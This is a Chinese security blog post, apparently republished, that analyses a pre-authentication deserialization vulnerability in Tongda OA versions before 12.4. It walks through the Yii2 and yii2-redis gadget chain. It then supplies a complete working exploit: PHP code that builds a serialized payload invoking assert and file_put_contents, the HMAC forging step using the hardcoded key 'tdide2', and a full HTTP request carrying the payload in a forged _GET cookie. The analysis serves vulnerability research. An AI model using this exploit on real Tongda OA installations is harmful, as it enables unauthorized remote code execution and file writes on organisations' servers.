通达OA <12.4 反序列化漏洞分析

admin 2024年5月13日02:02:02评论14 views字数 17625阅读58分45秒阅读模式

免费&进群

通达OA <12.4 反序列化漏洞分析
通达OA <12.4 反序列化漏洞分析

0x00 前置知识和准备

1.yii版本和源码准备

查看通达oa 11.10使用的yii框架版本是2.0.13-dev,该版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.phpyii/BaseYii)的getVersion方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响,会出现乱码的情况,所以建议找到对应版本后上yii仓库下载源码。

static public function getVersion()
{
return "2.0.13-dev";
}

2.yii csrftoken配置方法

  • 单个controller开启:

在控制器中设置

public $enableCsrfValidation = true;
  • 全局开启:

在yii框架的/config/main.php设置

request => [
'enableCookieValidation' => true,
]

yii框架默认是开启这个设置的。

  • 针对提交的数据流进行设置

通达oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php页面中,设置public $enableCsrfValidation = true;$enableCsrfValidation = true;(默认)

还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置,这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。

3.yii csrftoken http报文格式

Cookie中_csrf的参数,格式大致如下:

Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

a开始就是序列化的数组数据。

例如:

Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;

通过这些可以看到该漏洞的利用条件如下:

  • yii csrf token开启(默认开启)

  • 只能影响到yii框架函数request类请求的数据流,php原生请求方式不受影响。

0x01 漏洞分析

1.反序列化触发点csrfMetaTags

yii框架csrf token生成的时候会生成一部分序列化数据,校验该token需要对这部分序列化数据进行反序列化校验。

yii/helpers/BaseHtmlcsrfMetaTags方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的,所以$request->enableCsrfValidation默认为true,默认就会调用yii/web/Request::getCsrfToken方法获取csrf token。

public static function csrfMetaTags()
{
$request = Yii::$app->getRequest();
// $request是framework/web/Request.php Request类
if ($request instanceof Request && $request->enableCsrfValidation) {
return static::tag('meta', '', ['name' => 'csrf-param', 'content' => $request->csrfParam]) . "n "
. static::tag('meta', '', ['name' => 'csrf-token', 'content' => $request->getCsrfToken()]) . "n";
}

return '';
}

//framework/web/Request.php
public $enableCsrfValidation = true;

跟进getCsrfToken方法,$this->_csrfToken可控,设置为null,从而能继续进入$this->loadCsrfToken()

public function getCsrfToken($regenerate = false)
{
//可设置 $this->_csrfToken = null
if ($this->_csrfToken === null || $regenerate) {
if ($regenerate || ($token = $this->loadCsrfToken()) === null)
{
$token = $this->generateCsrfToken();
}
$this->_csrfToken = Yii::$app->security->maskToken($token);
}

return $this->_csrfToken;
}

$this->loadCsrfToken()由于$this->enableCsrfCookie默认就为true,就会调用getCookies方法。$this->_cookies可控,从而调用$this->loadCookies()loadCookies方法中$this->cookieValidationKey根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是general/appbuilder/config/web.php,在这里面可以看到固定密码为tdide2

protected function loadCsrfToken()
{
//默认或可设置$enableCsrfCookie = true
if ($this->enableCsrfCookie) {
return $this->getCookies()->getValue($this->csrfParam);
}

return Yii::$app->getSession()->get($this->csrfParam);
}

public function getCookies()
{
if ($this->_cookies === null) {
$this->_cookies = new CookieCollection($this->loadCookies(), [
'readOnly' => true,
]);
}

return $this->_cookies;
}

protected function loadCookies()
{
$cookies = [];
if ($this->enableCookieValidation) {
if ($this->cookieValidationKey == '') {
throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
}
foreach ($_COOKIE as $name => $value) {
if (!is_string($value)) {
continue;
}
//$this->cookieValidationKey = 'tdide2'
$data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
if ($data === false) {
continue;
}
// 反序列化点
$data = @unserialize($data);
if (is_array($data) && isset($data[0], $data[1]) && $data[0] === $name) {
$cookies[$name] = Yii::createObject([
'class' => 'yiiwebCookie',
'name' => $name,
'value' => $data[1],
'expire' => null,
]);
}
}
......

回到loadCookies中,对$_COOKIE循环遍历并对cookie中每个字段的值用Yii::$app->getSecurity()->validateData()校验,校验csrf token值无问题后对其进行反序列化。

跟进发现是yii/base/SecurityvalidataData方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。hash_hmac设置的是sha256位的hash计算模式,因此每次传入csrf token都要计算对应的hash值。

public function validateData($data, $key, $rawHash = false)
{
//$this->macHash = sha256
$test = @hash_hmac($this->macHash, '', '', $rawHash);
if (!$test) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
$hashLength = StringHelper::byteLength($test);
if (StringHelper::byteLength($data) >= $hashLength) {
$hash = StringHelper::byteSubstr($data, 0, $hashLength);
$pureData = StringHelper::byteSubstr($data, $hashLength, null);
//hash_mac('sha256',$pureData,'tdide2',false)
$calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);

if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}

return false;
}

2.通达OA调用csrfMetaTags的地方

分析完了反序列化unserialize的触发点,但还要找到调用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html页面meta标签的csrf token,因此调用的地方一般在html模版或者写页面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有调用该方法。

<?php
$this->beginPage();
echo "<!DOCTYPE html>n<html lang="";
echo Yii::$app->language;
echo "">n<head>n <meta charset="";
echo Yii::$app->charset;
echo "">n <meta name="viewport" content="width=device-width, initial-scale=1">n ";
echo yiihelpersHtml::csrfMetaTags();
echo " <title>";
......

查看/general/appbuilder/目录结构发现general/appbuilder/views/是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。

根据手册,general/appbuilder/config/params.php是配置框架参数的,其中skip_module是配置不进行鉴权的模块,其中就有portal门户模块。

<?php

include_once "inc/td_config.php";
$arr_mysql_server = explode(":", TD::$_arr_db_master["host"]);
return array(
......
"skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),

同时general/appbuilder/web/index.php是yii路由入口,获取请求路径后以问号为分隔符substr分割路径和uri参数。portal模块下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的话会直接跳转到index.php,从而可以触发general/appbuilder/views/layouts/main.php模板。

......
else {
$url = $_SERVER["REQUEST_URI"]; //获取路径
$strurl = substr($url, 0, strpos($url, "?")); //分割路径和uri参数

if (strpos($strurl, "/portal/") !== false) {
if (strpos($strurl, "/gateway/") === false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($strurl, "/gateway/saveportal") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "edit") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadfile") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadportalfile") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadpicture") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "dologin") !== false) {
header("Location:/index.php");
sess_close();
exit();
}
}
......

因此,触发漏洞的路由是/general/appbuilder/portal/gateway/?

inc/common.inc.php可以看到通达OA有全局的addslashes过滤,对Cookie中过滤。传入payload的时候将_csrf改为_GET、_POST等就可以绕过。

if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value ) {
if ((substr($s_key, 0, 7) == "_SERVER") || (substr($s_key, 0, 8) == "_SESSION") || (substr($s_key, 0, 7) == "_COOKIE") || (substr($s_key, 0, 4) == "_GET") || (substr($s_key, 0, 5) == "_POST") || (substr($s_key, 0, 6) == "_FILES")) {
continue;
}

if (!is_array($s_value)) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
}

$s_key = $_COOKIE[$s_key];
}

reset($_COOKIE);
}

3.yii 反序列化链

yii常见的反序列化起点是利用yiidbBatchQueryResult的。其中yii框架POP1链条差不多如下:**yiidbBatchQueryResult-FakerGenerator-yiirestCreateAction**,但是通达oa里并没有用**FakerGenerator**,而且好多yii反序列化链涉及的类都通达oa都没有,因此这里需要重新找一条链。

yiidbBatchQueryResult__destruct调用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解为可控类->close()。全局搜索到yiidbDataReader存在close()方法。

public function __destruct()
{
// make sure cursor is closed
$this->reset();
}

public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}

因此,可设置$this->_dataReader=new DataReader()从而触发调用其close方法,进入后$this->_statement可控,同样是可控类->closeCursor(),但是全局搜索没找到什么对应的类。尝试找带有call方法的类,通过调用其不存在的closeCursor,触发call方法。

public function close()
{
$this->_statement->closeCursor();//$this->_statement = new Connection();
$this->_closed = true;
}

在通达oa 11.10全局搜索中找到yii2框架还用了yii2-redis库,在yii2-redis里面找到yiiredisConnection类存在call方法。

通达OA <12.4 反序列化漏洞分析

打开后发现代码由于解密问题有乱码问题,找到对应的yii2-redis仓库下载对应版本的源码(inc/vendor/yii2/yiisoft/extensions.php页面可查看yii2-redis版本为2.0.6)。$redisCommand=$name='closeCursor'转换为大写,再与$this->redisCommands比对,查看是否存在其中,而$this->redisCommands可控,可参照其默认值形式,设置为CLOSE CURSOR,从而可进入executeCommand

public $redisCommands = [
'APPEND', // Append a value to a key
'AUTH', // Authenticate to the server
'BGREWRITEAOF', // Asynchronously rewrite the append-only file
'BGSAVE', // Asynchronously save the dataset to disk
......
];

public function __call($name, $params)//$name=closeCursor,$params=null
{
$redisCommand = strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
if (in_array($redisCommand, $this->redisCommands)) {
return $this->executeCommand($redisCommand, $params);
}

return parent::__call($name, $params);
}

executeCommand调用open方法,跟进发现$this->_socket可控,为保证代码继续运行这里要设置为false(默认初始化值为false)。$connectionhostname、port、database拼接,每个变量都可控,然后后续进行socket的链接。由于通达一体包系统环境一般是win系统,所以设置$this->unixSocket为false(可控)就能进入win下tcp链接。这里只要连通就可以让$this->_socket为true进入if分支。if分之内前面三个if条件$this->dataTimeout、$this->password、$this->database都可控,这三个分支调用的不是executeCommand的递归就是又进行socket链接都不符合情况,所以需要设置为null,才能保证进入initConnection()

public function executeCommand($name, $params = [])
{
$this->open();
......
}

public function open()
{
if ($this->_socket !== false) {
return;
}
$connection = ($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
$this->_socket = @stream_socket_client(
$this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
$errorNumber,
$errorDescription,
$this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
$this->socketClientFlags
);
if ($this->_socket) {
if ($this->dataTimeout !== null) {
stream_set_timeout($this->_socket, $timeout = (int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
}
if ($this->password !== null) {
$this->executeCommand('AUTH', [$this->password]);
}
if ($this->database !== null) {
$this->executeCommand('SELECT', [$this->database]);
}
$this->initConnection();
}
......
}

initConnection()实际调用的是yiibaseComponent(framework/base/Component.php)::trigger()方法,参数EVENT_AFTER_OPEN固定值是afterOpen

const EVENT_AFTER_OPEN = 'afterOpen';

protected function initConnection()
{
$this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
}

trigger方法在line560调用了call_user_func,逆向溯源两个$handler[0]$event参数。$this->_events[$name]=$this->['afterOpen']不为空,就能进入该分支调用call_user_func。然后对$this->_events['afterOpen']进行数组遍历,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。

public function trigger($name, Event $event = null)
{
$this->ensureBehaviors();
//$this->_events['afterOpen'] = ''
if (!empty($this->_events[$name])) {
if ($event === null) {
$event = new Event();
}
if ($event->sender === null) {
$event->sender = $this;//yiibaseComponent
}
$event->handled = false;
$event->name = $name;//'afterOpen'
//$this->>_events['afterOpen'] = $handler;
foreach ($this->_events[$name] as $handler) {
$event->data = $handler[1];//any
call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
// stop further handling if the event is handled
if ($event->handled) {
return;
}
}
}
// invoke class-level attached handlers
Event::trigger($this, $name, $event);
}

参考低版本yii反序列化链执行代码注入的一般通过yiirestCreateAction或者类似的类(代码内容如下所示)。其中$this->checkAccess$this->id都可控,$this->checkAccess设置为调用php函数,如system执行命令;$this->id设置执行内容,如命令whoami

public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
......

结合上面的trigger方法,call_user_func参数1可以设置为调用CreateActionrun方法,调用方式:call_user_func([new CreateAction, 'run'],'a')。如何给$this->_events['afterOpen']赋值,继续查看如下代码注释:

//$this->>_events['afterOpen'] = $handler; //一重数组,$handler要求是数组
foreach ($this->_events[$name] as $handler) { //二重数组,$handler分为$handler[0]和handler[1]
$event->data = $handler[1];//any
call_user_func($handler[0],$event);
//call_user_func([new CreateAction,'run'],any);
//三重数组,call_user_func调用类需要用数组传入,形如[new A(),...params]

转换过来也就是$this->_events['afterOpen'] = [[[new CreatAction, 'run'],'a']]

0x02 漏洞复现

1.生成反序列化链

该链条效果为写入一个名为hgsd.php的php文件,内容为<?php echo 123;?>。输出反序列化payload的base64编码,解码并urlencode作为伪造的csrf token一部分数据。

<?php

//step4
namespace yiirest {
class CreateAction {
public $id;
public $checkAccess;
public function __construct() {
$this->checkAccess = 'assert';
$this->id = "file_put_contents('hgsd.php','<?php echo 123;?>')";
}

}
}

//step3
namespace yiibase {

use yiirestCreateAction;

class Component {

private $_events = [];
private $_behaviors = 1;

public function __construct() {
$this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]];
//第二个"a"参数任意。
}
}
}
//step2
namespace yiiredis {

use yiibaseComponent;

class Connection extends Component{
public $redisCommands = [];
public $hostname = '';
public $port;
public $password;
public $username;
public $connectionTimeout;
public $dataTimeout;
public $database;
public $unixSocket;
private $_socket;

public function __construct()
{
$this->redisCommands = array('CLOSE CURSOR');
$this->_socket = false;
$this->hostname = '127.0.0.1';
$this->port = 803;//能够连通的任意本地服务的端口
$this->unixSocket = false;
$this->connectionTimeout = 5;
parent::__construct();
}
}

}

// step1
namespace yiidb {

use yiiredisConnection;

class DataReader {
private $_statement;
private $_closed = false;
private $_row;
private $_index = -1;
public function __construct()
{
$this->_statement = new Connection();
}
}

class BatchQueryResult {
public $batchSize = 100;
public $each = false;
private $_dataReader;
private $_batch;
private $_value;
private $_key;

public function __construct() {
$this->_dataReader = new DataReader();
}

}
}
//start
namespace {
use yiidbBatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}

2. 生成反序列化hash

对第一步生成的反序列化payload(base64已编码)进行hash计算,从而生成对应的csrf token另一部分数据。

<?php
$pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');

$calculatedHash = hash_hmac('sha256',$pureData,'tdide2',false);
# yii general/appbuilder/config/web.php cookieValidationKey 固定值
echo($calculatedHash);

3.http报文(漏洞验证)

对数据包请求方式没有限制,get和post方式都可以。伪造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完毕后,在发送如下请求:

POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

执行成功后响应500,响应体如下图所示:

通达OA <12.4 反序列化漏洞分析

上述生成的poc文件目录是/general/appbuilder/web/hgsd.php

Reference

烽火台实验室-【新】通达OA前台反序列化漏洞分析(https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw?token=106723818&lang=zh_CN)

原文地址: https://xz.aliyun.com/t/12855

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):通达OA <12.4 反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日02:02:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通达OA <12.4 反序列化漏洞分析https://cn-sec.com/archives/2073546.html

发表评论

匿名网友 填写信息